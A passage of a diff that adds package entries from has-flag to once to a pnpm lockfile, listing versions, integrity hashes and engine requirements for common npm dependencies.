sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==} + + has-flag@3.0.0: + resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==} + engines: {node: '>=4'} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + has-property-descriptors@1.0.2: + resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} + + has-proto@1.0.3: + resolution: {integrity: sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==} + engines: {node: '>= 0.4'} + + has-symbols@1.0.3: + resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + hasown@2.0.2: + resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} + engines: {node: '>= 0.4'} + + he@1.2.0: + resolution: {integrity: sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==} + hasBin: true + + hosted-git-info@2.8.9: + resolution: {integrity: sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==} + + html-encoding-sniffer@3.0.0: + resolution: {integrity: sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==} + engines: {node: '>=12'} + + http-proxy-agent@5.0.0: + resolution: {integrity: sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==} + engines: {node: '>= 6'} + + http-signature@1.3.6: + resolution: {integrity: sha512-3adrsD6zqo4GsTqtO7FyrejHNv+NgiIfAfv68+jVlFmSr9OGy7zrxONceFRLKvnnZA5jbxQBX1u9PpB6Wi32Gw==} + engines: {node: '>=0.10'} + + https-proxy-agent@5.0.1: + resolution: {integrity: sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==} + engines: {node: '>= 6'} + + human-signals@1.1.1: + resolution: {integrity: sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==} + engines: {node: '>=8.12.0'} + + human-signals@2.1.0: + resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==} + engines: {node: '>=10.17.0'} + + iconv-lite@0.6.3: + resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} + engines: {node: '>=0.10.0'} + + ieee754@1.2.1: + resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} + + ignore@5.3.2: + resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} + engines: {node: '>= 4'} + + import-fresh@3.3.0: + resolution: {integrity: sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==} + engines: {node: '>=6'} + + imurmurhash@0.1.4: + resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} + engines: {node: '>=0.8.19'} + + indent-string@4.0.0: + resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==} + engines: {node: '>=8'} + + inflight@1.0.6: + resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} + deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. + + inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + + ini@1.3.8: + resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} + + ini@2.0.0: + resolution: {integrity: sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==} + engines: {node: '>=10'} + + install@0.13.0: + resolution: {integrity: sha512-zDml/jzr2PKU9I8J/xyZBQn8rPCAY//UOYNmR01XwNwyfhEWObo2SWfSl1+0tm1u6PhxLwDnfsT/6jB7OUxqFA==} + engines: {node: '>= 0.10'} + + internal-slot@1.0.7: + resolution: {integrity: sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g==} + engines: {node: '>= 0.4'} + + is-array-buffer@3.0.4: + resolution: {integrity: sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==} + engines: {node: '>= 0.4'} + + is-arrayish@0.2.1: + resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==} + + is-bigint@1.0.4: + resolution: {integrity: sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==} + + is-boolean-object@1.1.2: + resolution: {integrity: sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==} + engines: {node: '>= 0.4'} + + is-callable@1.2.7: + resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} + engines: {node: '>= 0.4'} + + is-ci@3.0.1: + resolution: {integrity: sha512-ZYvCgrefwqoQ6yTyYUbQu64HsITZ3NfKX1lzaEYdkTDcfKzzCI/wthRRYKkdjHKFVgNiXKAKm65Zo1pk2as/QQ==} + hasBin: true + + is-core-module@2.15.1: + resolution: {integrity: sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==} + engines: {node: '>= 0.4'} + + is-data-view@1.0.1: + resolution: {integrity: sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w==} + engines: {node: '>= 0.4'} + + is-date-object@1.0.5: + resolution: {integrity: sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==} + engines: {node: '>= 0.4'} + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-installed-globally@0.4.0: + resolution: {integrity: sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==} + engines: {node: '>=10'} + + is-negative-zero@2.0.3: + resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==} + engines: {node: '>= 0.4'} + + is-number-object@1.0.7: + resolution: {integrity: sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==} + engines: {node: '>= 0.4'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-path-inside@3.0.3: + resolution: {integrity: sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==} + engines: {node: '>=8'} + + is-potential-custom-element-name@1.0.1: + resolution: {integrity: sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==} + + is-regex@1.1.4: + resolution: {integrity: sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==} + engines: {node: '>= 0.4'} + + is-shared-array-buffer@1.0.3: + resolution: {integrity: sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg==} + engines: {node: '>= 0.4'} + + is-stream@2.0.1: + resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} + engines: {node: '>=8'} + + is-string@1.0.7: + resolution: {integrity: sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==} + engines: {node: '>= 0.4'} + + is-symbol@1.0.4: + resolution: {integrity: sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==} + engines: {node: '>= 0.4'} + + is-typed-array@1.1.13: + resolution: {integrity: sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw==} + engines: {node: '>= 0.4'} + + is-typedarray@1.0.0: + resolution: {integrity: sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==} + + is-unicode-supported@0.1.0: + resolution: {integrity: sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==} + engines: {node: '>=10'} + + is-weakref@1.0.2: + resolution: {integrity: sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==} + + isarray@1.0.0: + resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==} + + isarray@2.0.5: + resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + isstream@0.1.2: + resolution: {integrity: sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==} + + jackspeak@3.4.3: + resolution: {integrity: sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==} + + joi@17.13.3: + resolution: {integrity: sha512-otDA4ldcIx+ZXsKHWmp0YizCweVRZG96J10b0FevjfuncLO1oX59THoAmHkNubYJ+9gWsYsp5k8v4ib6oDv1fA==} + + js-beautify@1.15.1: + resolution: {integrity: sha512-ESjNzSlt/sWE8sciZH8kBF8BPlwXPwhR6pWKAw8bw4Bwj+iZcnKW6ONWUutJ7eObuBZQpiIb8S7OYspWrKt7rA==} + engines: {node: '>=14'} + hasBin: true + + js-cookie@3.0.5: + resolution: {integrity: sha512-cEiJEAEoIbWfCZYKWhVwFuvPX1gETRYPw6LlaTKoxD3s2AkXzkCjnp6h0V77ozyqj0jakteJ4YqDJT830+lVGw==} + engines: {node: '>=14'} + + js-yaml@4.1.0: + resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} + hasBin: true + + jsbn@0.1.1: + resolution: {integrity: sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==} + + jsdom@20.0.3: + resolution: {integrity: sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ==} + engines: {node: '>=14'} + peerDependencies: + canvas: ^2.5.0 + peerDependenciesMeta: + canvas: + optional: true + + json-buffer@3.0.1: + resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} + + json-parse-better-errors@1.0.2: + resolution: {integrity: sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==} + + json-schema-traverse@0.4.1: + resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + + json-schema@0.4.0: + resolution: {integrity: sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==} + + json-stable-stringify-without-jsonify@1.0.1: + resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} + + json-stringify-safe@5.0.1: + resolution: {integrity: sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==} + + jsonfile@6.1.0: + resolution: {integrity: sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==} + + jsprim@2.0.2: + resolution: {integrity: sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==} + engines: {'0': node >=0.6.0} + + keyv@4.5.4: + resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} + + lazy-ass@1.6.0: + resolution: {integrity: sha512-cc8oEVoctTvsFZ/Oje/kGnHbpWHYBe8IAJe4C0QNc3t8uM/0Y8+erSz/7Y1ALuXTEZTMvxXwO6YbX1ey3ujiZw==} + engines: {node: '> 0.8'} + + lazystream@1.0.1: + resolution: {integrity: sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==} + engines: {node: '>= 0.6.3'} + + levn@0.4.1: + resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==} + engines: {node: '>= 0.8.0'} + + listr2@3.14.0: + resolution: {integrity: sha512-TyWI8G99GX9GjE54cJ+RrNMcIFBfwMPxc3XTFiAYGN4s10hWROGtOg7+O6u6LE3mNkyld7RSLE6nrKBvTfcs3g==} + engines: {node: '>=10.0.0'} + peerDependencies: + enquirer: '>= 2.3.0 < 3' + peerDependenciesMeta: + enquirer: + optional: true + + load-json-file@4.0.0: + resolution: {integrity: sha512-Kx8hMakjX03tiGTLAIdJ+lL0htKnXjEZN6hk/tozf/WOuYGdZBJrZ+rCJRbVCugsjB3jMLn9746NsQIf5VjBMw==} + engines: {node: '>=4'} + + local-pkg@0.4.3: + resolution: {integrity: sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==} + engines: {node: '>=14'} + + locate-path@6.0.0: + resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} + engines: {node: '>=10'} + + lodash.merge@4.6.2: + resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} + + lodash.once@4.1.1: + resolution: {integrity: sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==} + + lodash@4.17.21: + resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} + + log-symbols@4.1.0: + resolution: {integrity: sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==} + engines: {node: '>=10'} + + log-update@4.0.0: + resolution: {integrity: sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==} + engines: {node: '>=10'} + + loupe@2.3.7: + resolution: {integrity: sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA==} + + lru-cache@10.4.3: + resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==} + + magic-string@0.30.11: + resolution: {integrity: sha512-+Wri9p0QHMy+545hKww7YAu5NyzF8iomPL/RQazugQ9+Ez4Ic3mERMd8ZTX5rfK944j+560ZJi8iAwgak1Ac7A==} + + map-stream@0.1.0: + resolution: {integrity: sha512-CkYQrPYZfWnu/DAmVCpTSX/xHpKZ80eKh2lAkyA6AJTef6bW+6JpbQZN5rofum7da+SyN1bi5ctTm+lTfcCW3g==} + + memorystream@0.3.1: + resolution: {integrity: sha512-S3UwM3yj5mtUSEfP41UZmt/0SCoVYUcU1rkXv+BQ5Ig8ndL4sPoJNBUJERafdPb5jjHJGuMgytgKvKIf58XNBw==} + engines: {node: '>= 0.10.0'} + + merge-stream@2.0.0: + resolution: {integrity: sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==} + + merge2@1.4.1: + resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} + engines: {node: '>= 8'} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + + mimic-fn@2.1.0: + resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} + engines: {node: '>=6'} + + minimatch@3.1.2: + resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} + + minimatch@5.1.6: + resolution: {integrity: sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==} + engines: {node: '>=10'} + + minimatch@9.0.1: + resolution: {integrity: sha512-0jWhJpD/MdhPXwPuiRkCbfYfSKp2qnn2eOc279qI7f+osl/l+prKSrvhg157zSYvx/1nmgn2NqdT6k2Z7zSH9w==} + engines: {node: '>=16 || 14 >=14.17'} + + minimatch@9.0.5: + resolution: {integrity: sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==} + engines: {node: '>=16 || 14 >=14.17'} + + minimist@1.2.8: + resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} + + minipass@7.1.2: + resolution: {integrity: sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==} + engines: {node: '>=16 || 14 >=14.17'} + + mitt@3.0.1: + resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==} + + ms@2.1.2: + resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + muggle-string@0.3.1: + resolution: {integrity: sha512-ckmWDJjphvd/FvZawgygcUeQCxzvohjFO5RxTjj4eq8kw359gFF3E1brjfI+viLMxss5JrHTDRHZvu2/tuy0Qg==} + + nanoid@3.3.7: + resolution: {integrity: sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + natural-compare-lite@1.4.0: + resolution: {integrity: sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==} + + natural-compare@1.4.0: + resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} + + nice-try@1.0.5: + resolution: {integrity: sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==} + + nopt@7.2.1: + resolution: {integrity: sha512-taM24ViiimT/XntxbPyJQzCG+p4EKOpgD3mxFwW38mGjVUrfERQOeY4EDHjdnptttfHuHQXFx+lTP08Q+mLa/w==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + hasBin: true + + normalize-package-data@2.5.0: + resolution: {integrity: sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==} + + normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + + npm-run-all@4.1.5: + resolution: {integrity: sha512-Oo82gJDAVcaMdi3nuoKFavkIHBRVqQ1qvMb+9LHk/cF4P6B2m8aP04hGf7oL6wZ9BuGwX1onlLhpuoofSyoQDQ==} + engines: {node: '>= 4'} + hasBin: true + + npm-run-path@4.0.1: + resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==} + engines: {node: '>=8'} + + nth-check@2.1.1: + resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} + + nwsapi@2.2.12: + resolution: {integrity: sha512-qXDmcVlZV4XRtKFzddidpfVP4oMSGhga+xdMc25mv8kaLUHtgzCDhUxkrN8exkGdTlLNaXj7CV3GtON7zuGZ+w==} + + object-inspect@1.13.2: + resolution: {integrity: sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==} + engines: {node: '>= 0.4'} + + object-keys@1.1.1: + resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} + engines: {node: '>= 0.4'} + + object.assign@4.1.5: + resolution: {integrity: sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==} + engines: {node: '>= 0.4'} + + once@1.4.0: + resolution: {integrity: 